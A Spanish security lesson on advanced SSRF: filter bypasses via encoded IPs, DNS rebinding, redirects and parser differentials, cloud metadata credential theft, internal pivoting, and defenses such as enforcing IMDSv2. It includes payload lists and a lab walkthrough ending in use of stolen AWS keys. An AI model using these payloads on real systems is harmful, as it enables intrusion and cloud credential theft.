Aprende › Vulnerabilidades web

SSRF avanzado: bypass de filtros, IMDSv2, GCP metadata y pivoting interno

· 12 min de lectura

Técnicas avanzadas de SSRF para saltarse filtros con codificación de IP, DNS rebinding y redirect chains, explotar metadatos de AWS, GCP y Azure, y pivotar desde la aplicación web hacia la infraestructura cloud.

La lección de SSRF básico cubre qué es un Server-Side Request Forgery, por qué ocurre y cómo se detecta. Pero en la práctica, la mayoría de aplicaciones con un SSRF potencial ya tienen algún filtro: bloquean 127.0.0.1, rechazan direcciones que empiezan por 10. o comprueban que la URL sea HTTPS. Esos filtros dan una falsa sensación de seguridad, porque casi todos pueden saltarse.

Esta lección va un paso más allá: cubre las técnicas de bypass que convierten un SSRF aparentemente bloqueado en un acceso real a la red interna y a los servicios de metadatos de la nube. Verás cómo funcionan las codificaciones alternativas de IP, el DNS rebinding, las cadenas de redirecciones, y cómo cada proveedor cloud (AWS, GCP, Azure) expone credenciales a través de su servicio de metadatos con distintos niveles de protección.

Es la duodécima lección de la Tanda 9. Asume que ya conoces los fundamentos del SSRF; si no, empieza por la lección básica.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Explotar un SSRF para acceder a redes internas o credenciales cloud sin permiso es un delito.

Más allá del SSRF básico#

Un filtro ingenuo que bloquea la cadena de texto 127.0.0.1 o localhost es trivial de saltar. Pero incluso filtros más sofisticados que analizan la URL con expresiones regulares o que resuelven el DNS una vez antes de conectar tienen puntos ciegos. Los atacantes los conocen, y las herramientas de Burp Suite y ProjectDiscovery los automatizan.

Tres técnicas que esquivan los filtros de texto en un SSRF: codificación de IP, DNS rebinding y redirect chain
Tres técnicas que esquivan los filtros de texto en un SSRF: codificación de IP, DNS rebinding y redirect chain

La diferencia entre un SSRF bloqueado y uno explotable suele ser una cuestión de cómo se representa la misma dirección. Una IPv4 se puede escribir de al menos seis formas distintas que todas apuntan al mismo lugar pero que un filtro de texto no reconoce como equivalentes.

Bypass de filtros: técnicas avanzadas#

Codificación alternativa de IP#

La dirección 127.0.0.1 se puede escribir así, y todas apuntan a loopback:

2130706433          (decimal entero)
0x7f000001          (hexadecimal)
0177.0.0.1          (octal)
127.1               (abreviada)
127.0.0.0           (cualquier dirección de 127.0.0.0/8 es loopback)
::1                 (IPv6 loopback)
::ffff:127.0.0.1    (IPv6-mapped IPv4)
0:0:0:0:0:ffff:7f00:0001

Para la dirección de metadatos 169.254.169.254:

2852039166                    (decimal)
0xa9.0xfe.0xa9.0xfe           (hex con puntos)
0251.0376.0251.0376           (octal)
169.254.169.254.nip.io        (servicio DNS que resuelve a la IP)

DNS rebinding#

El ataque funciona así: el atacante registra un dominio cuyo servidor DNS responde con una IP pública en la primera consulta y con una IP interna en la segunda. Si la aplicación valida el DNS al principio (ve una IP pública, la deja pasar) y luego conecta resolviéndolo otra vez (ahora resuelve a la interna), el filtro no la detuvo.

1. Aplicación recibe: url=http://rebind.attacker.com/
2. Validación: DNS → 1.2.3.4 (pública) → PERMITIDO
3. Conexión: DNS → 127.0.0.1 (rebinding, TTL=0) → petición interna

Herramientas como rbndr.us (de Tavis Ormandy) permiten crear dominios de rebinding sin montar tu propio DNS. Solo defines las dos IP y el servicio alterna entre ellas.

Cadenas de redirección#

Si la aplicación valida la URL pero sigue redirecciones, basta con que un servidor permitido responda con un 302 hacia una dirección interna:

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/

El filtro solo comprobó la URL original; la redirección lleva a la red interna sin pasar validación. Esto funciona especialmente bien cuando la aplicación permite URLs de ciertos dominios (como servicios de acortamiento) que el atacante puede controlar.

URL parser differentials#

Distintas librerías interpretan la misma URL de forma diferente. Una URL como http://[email protected]/ puede ser analizada así: el filtro la ve como allowed.com, pero la librería HTTP la interpreta como 169.254.169.254 con el usuario allowed.com. Esto varía entre lenguajes y versiones.

http://allowed.com#@169.254.169.254/
http://169.254.169.254\@allowed.com/
http://allowed.com%[email protected]/

Metadatos cloud: AWS, GCP y Azure#

Cada proveedor de nube expone un servicio de metadatos en 169.254.169.254 (dirección link-local). Este servicio le dice a la instancia quién es, qué rol tiene y, lo más peligroso, le entrega credenciales temporales para acceder a otros servicios de la nube.

ProveedorEndpointProtecciónRuta de credenciales
AWS IMDSv1169.254.169.254Ninguna (GET simple)/latest/meta-data/iam/security-credentials/NOMBRE-ROL
AWS IMDSv2169.254.169.254Token PUT + cabeceraIgual, pero necesita token previo
GCPmetadata.google.internalCabecera Metadata-Flavor: Google/computeMetadata/v1/instance/service-accounts/default/token
Azure169.254.169.254Cabecera Metadata: true/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

AWS IMDSv1#

La versión original no tiene protección. Un simple GET basta:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Devuelve el nombre del rol
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/NombreDelRol
# Devuelve AccessKeyId, SecretAccessKey, Token

Un SSRF que solo controla la URL de un GET obtiene las credenciales completas.

GCP#

Google Cloud exige la cabecera Metadata-Flavor: Google. Sin ella, el servicio responde con un error. Si el SSRF permite inyectar cabeceras (por ejemplo, a través de CRLF injection o gopher://), se puede añadir:

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

El token devuelto es un OAuth2 access token que permite llamar a las API de GCP con los permisos de la cuenta de servicio de la instancia.

Azure#

Azure requiere Metadata: true como cabecera y un parámetro api-version:

curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

IMDSv2: qué protege y qué no#

AWS diseñó IMDSv2 para bloquear la mayoría de los SSRF. El proceso tiene dos pasos:

# Paso 1: obtener un token con PUT (máx. 6 horas de TTL)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Paso 2: usar el token en cada petición
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Un SSRF típico que solo controla la URL de un GET no puede hacer el PUT del paso 1. Además, la respuesta del token tiene un hop limit de 1 (TTL de paquete IP), así que no atraviesa un NAT o un contenedor que haga forward.

Pero IMDSv2 no es invulnerable. Escenarios donde falla:

  • Si el SSRF permite controlar el método HTTP (PUT en vez de GET) y añadir cabeceras personalizadas, el atacante puede completar ambos pasos.
  • Si el SSRF pasa por gopher://, el atacante puede construir una petición PUT cruda byte a byte.
  • Si la instancia todavía permite IMDSv1 como fallback (que es el comportamiento por defecto en muchas configuraciones antiguas), el atacante simplemente usa v1.
  • Si la aplicación corre en la misma instancia (no en un contenedor con su propia interfaz de red), el hop limit no ayuda.

La defensa correcta es forzar IMDSv2 obligatorio (desactivar v1) y, si la aplicación no necesita metadatos, bloquear 169.254.169.254 con iptables o con un security group de salida.

Cómo se detecta un SSRF avanzado#

Pruebas para bypass de filtros#

TécnicaQué probarQué indica
IP decimalurl=http://2130706433/Si responde distinto a la IP bloqueada, el filtro compara texto
IP octalurl=http://0177.0.0.1/Misma idea con otra representación
DNS rebindingurl=http://rebind.rbndr.us/ (configurado a 127.0.0.1)Si llega a loopback, el filtro no fija la IP resuelta
Redirect chainURL a tu servidor que responde 302 a 169.254.169.254Si la app sigue la redirección, el filtro solo valida la primera URL
URL parserurl=http://[email protected]/Si llega a metadata, hay un diferencial de parseo

Herramientas#

  • Burp Collaborator / Interactsh: para confirmar que el servidor hace peticiones salientes (SSRF ciega).
  • rbndr.us: genera dominios de DNS rebinding sin necesidad de infraestructura propia.
  • SSRFmap: herramienta especializada que automatiza la explotación de SSRF con múltiples técnicas de bypass y payloads de metadatos cloud.
  • Gopherus: genera payloads gopher:// para hablar con servicios internos que no usan HTTP.

Explotación paso a paso en un laboratorio#

Escenario típico similar a los laboratorios JANUS, IN THE HOUSE y CLOUDSHIP.

Paso 1: detectar el SSRF y el filtro#

Prueba una URL interna directa y observa que está bloqueada:

POST /fetch HTTP/1.1
Host: IP_DEL_LAB
Content-Type: application/x-www-form-urlencoded

url=http://127.0.0.1/

Respuesta: 403 Forbidden - Dirección interna bloqueada.

Paso 2: saltar el filtro con codificación#

Prueba representaciones alternativas:

url=http://2130706433/
url=http://0177.0.0.1/
url=http://127.1/
url=http://[::1]/

Si alguna devuelve contenido en vez del error 403, el filtro compara texto y no valida la IP resuelta.

Paso 3: acceder a los metadatos de la nube#

Con el bypass confirmado, apunta a la dirección de metadatos:

url=http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/

Si la instancia tiene IMDSv1 activo, recibirás la lista de rutas disponibles. Navega hasta las credenciales:

url=http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/iam/security-credentials/NombreDelRol

Paso 4: usar las credenciales robadas#

Con el AccessKeyId, SecretAccessKey y Token que devuelve el servicio de metadatos, configura la CLI de AWS:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity
aws s3 ls

Pivoting interno: encadenar el SSRF#

El SSRF no tiene por qué terminar en los metadatos de la nube. Con acceso a la red interna, puedes encadenar ataques:

  • Descubrir servicios internos: escanear rangos como 10.0.0.0/24 por puertos comunes (80, 8080, 3000, 6379, 27017) comparando tiempos de respuesta o mensajes de error.
  • Hablar con bases de datos internas: Redis, Memcached y Elasticsearch suelen estar sin autenticación en la red interna. Con gopher:// puedes enviar comandos directamente.
  • Atacar paneles internos: muchos servicios internos (Jenkins, Grafana, Kibana) están sin autenticación porque «nadie de fuera puede llegar». El SSRF rompe esa suposición.
  • Pivotar a otros servicios cloud: con las credenciales del servicio de metadatos, acceder a S3, RDS, DynamoDB, SQS u otros servicios que el rol permita.

El caso Capital One (2019) es el ejemplo real más conocido: un SSRF en un WAF permitió acceder a los metadatos de EC2 con IMDSv1, robar las credenciales del rol y acceder a buckets de S3 con datos de más de 100 millones de clientes.

Qué puede lograr un atacante#

ImpactoEjemplo
Robo de credenciales cloudLeer AccessKeyId y SecretAccessKey de AWS IAM
Acceso a almacenamientoDescargar contenido de S3, GCS o Azure Blob
Acceso a bases de datos gestionadasConectar a RDS, Cloud SQL o Cosmos DB con las credenciales del rol
Movimiento lateralSaltar de una instancia a otra usando los permisos del rol
Escalada de privilegios en la nubeSi el rol permite iam:PassRole o sts:AssumeRole
Lectura de secretosAcceder a AWS Secrets Manager, GCP Secret Manager o Azure Key Vault

Cómo se corrige en la nube#

Los metadatos cloud de cada proveedor y sus protecciones: IMDSv1 sin protección, IMDSv2 con token PUT, GCP y Azure con cabeceras obligatorias
Los metadatos cloud de cada proveedor y sus protecciones: IMDSv1 sin protección, IMDSv2 con token PUT, GCP y Azure con cabeceras obligatorias

Forzar IMDSv2 y desactivar v1#

En AWS, configura las instancias para que solo acepten IMDSv2:

aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890 \
  --http-tokens required \
  --http-put-response-hop-limit 1

Bloquear el acceso a metadatos#

Si la aplicación no necesita metadatos, bloquéalos con iptables o con un security group de salida:

iptables -A OUTPUT -d 169.254.169.254 -j DROP

Validar la IP resuelta, no el texto#

Resuelve el DNS, comprueba que la IP no sea privada, loopback, link-local ni reservada, y conecta a esa IP específica sin resolver de nuevo. Esto bloquea DNS rebinding, codificaciones alternativas y cualquier truco de parseo.

No seguir redirecciones#

Desactiva las redirecciones automáticas en la librería HTTP. Si debes seguirlas, valida cada destino intermedio con las mismas reglas.

Principio de mínimo privilegio en roles cloud#

El rol de la instancia no debería tener permisos que la aplicación no necesita. Si solo lee de un bucket específico, el rol solo debe tener s3:GetObject en ese bucket, no s3:* en *.

Errores comunes al defenderse#

  • Desactivar IMDSv2 por «complejidad». La migración requiere actualizar los SDK, pero dejar IMDSv1 activo es el vector número uno de robo de credenciales cloud.
  • Bloquear solo 169.254.169.254 sin bloquear las representaciones alternativas. Si el filtro es por texto, las codificaciones decimal, hex u octal lo saltan.
  • Validar la URL dos veces pero conectar con una tercera resolución DNS. Cada resolución extra abre una ventana para DNS rebinding.
  • Confiar en el WAF para bloquear SSRF. Los WAF inspeccionan el tráfico entrante, no las peticiones que el servidor hace internamente.
  • Poner todos los servicios en la misma red sin segmentación. Si el servidor web puede hablar con Redis, la base de datos y el panel de administración, un SSRF da acceso a todo.

Preguntas frecuentes#

¿IMDSv2 hace innecesarias las otras defensas?#

No. IMDSv2 protege los metadatos contra SSRF que solo controlan la URL de un GET, pero no protege contra el acceso a otros servicios internos. Un SSRF sigue siendo peligroso aunque los metadatos estén protegidos, porque la red interna suele tener servicios sin autenticación.

¿El DNS rebinding funciona siempre?#

Depende. Muchos resolvers DNS cachean las respuestas ignorando TTL=0, y navegadores modernos implementan DNS pinning. Pero en peticiones servidor a servidor (no de navegador), el rebinding funciona con más frecuencia porque las librerías HTTP suelen respetar TTL bajo.

¿Qué pasó con Capital One?#

En 2019, una atacante explotó un SSRF en un WAF de ModSecurity mal configurado en una instancia EC2. Accedió a los metadatos con IMDSv1, robó las credenciales del rol IAM y descargó datos de más de 100 millones de solicitudes de crédito desde S3. El incidente aceleró la adopción de IMDSv2.

¿gopher:// sigue siendo relevante?#

Sí, aunque menos frecuente. Librerías que usan libcurl con gopher:// habilitado permiten enviar bytes arbitrarios a puertos TCP internos. Si la librería acepta gopher://, puedes hablar con Redis, MySQL o SMTP sin que el servicio use HTTP. La defensa es limitar los protocolos a http y https.

¿Cómo pruebo si una instancia tiene IMDSv1 activo?#

Desde dentro de la instancia, intenta un GET simple sin token. Si responde, v1 sigue activo:

curl -s http://169.254.169.254/latest/meta-data/
# Si responde con datos, IMDSv1 está activo

Resumen#

  • Los filtros de SSRF basados en texto se saltan con codificación de IP (decimal, hex, octal, IPv6), DNS rebinding y cadenas de redirección.
  • Los tres grandes proveedores cloud exponen credenciales en 169.254.169.254: AWS (IMDSv1 sin protección, IMDSv2 con token), GCP (cabecera obligatoria) y Azure (cabecera obligatoria).
  • IMDSv2 bloquea el caso más común (SSRF que solo controla una URL GET), pero no protege si el atacante controla cabeceras, usa gopher:// o si v1 sigue activo como fallback.
  • El caso Capital One (2019) demostró cómo un SSRF con IMDSv1 puede comprometer millones de registros.
  • La defensa correcta combina validar la IP resuelta (no el texto), forzar IMDSv2 obligatorio, segmentar la red, desactivar redirecciones y mínimo privilegio en los roles cloud.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría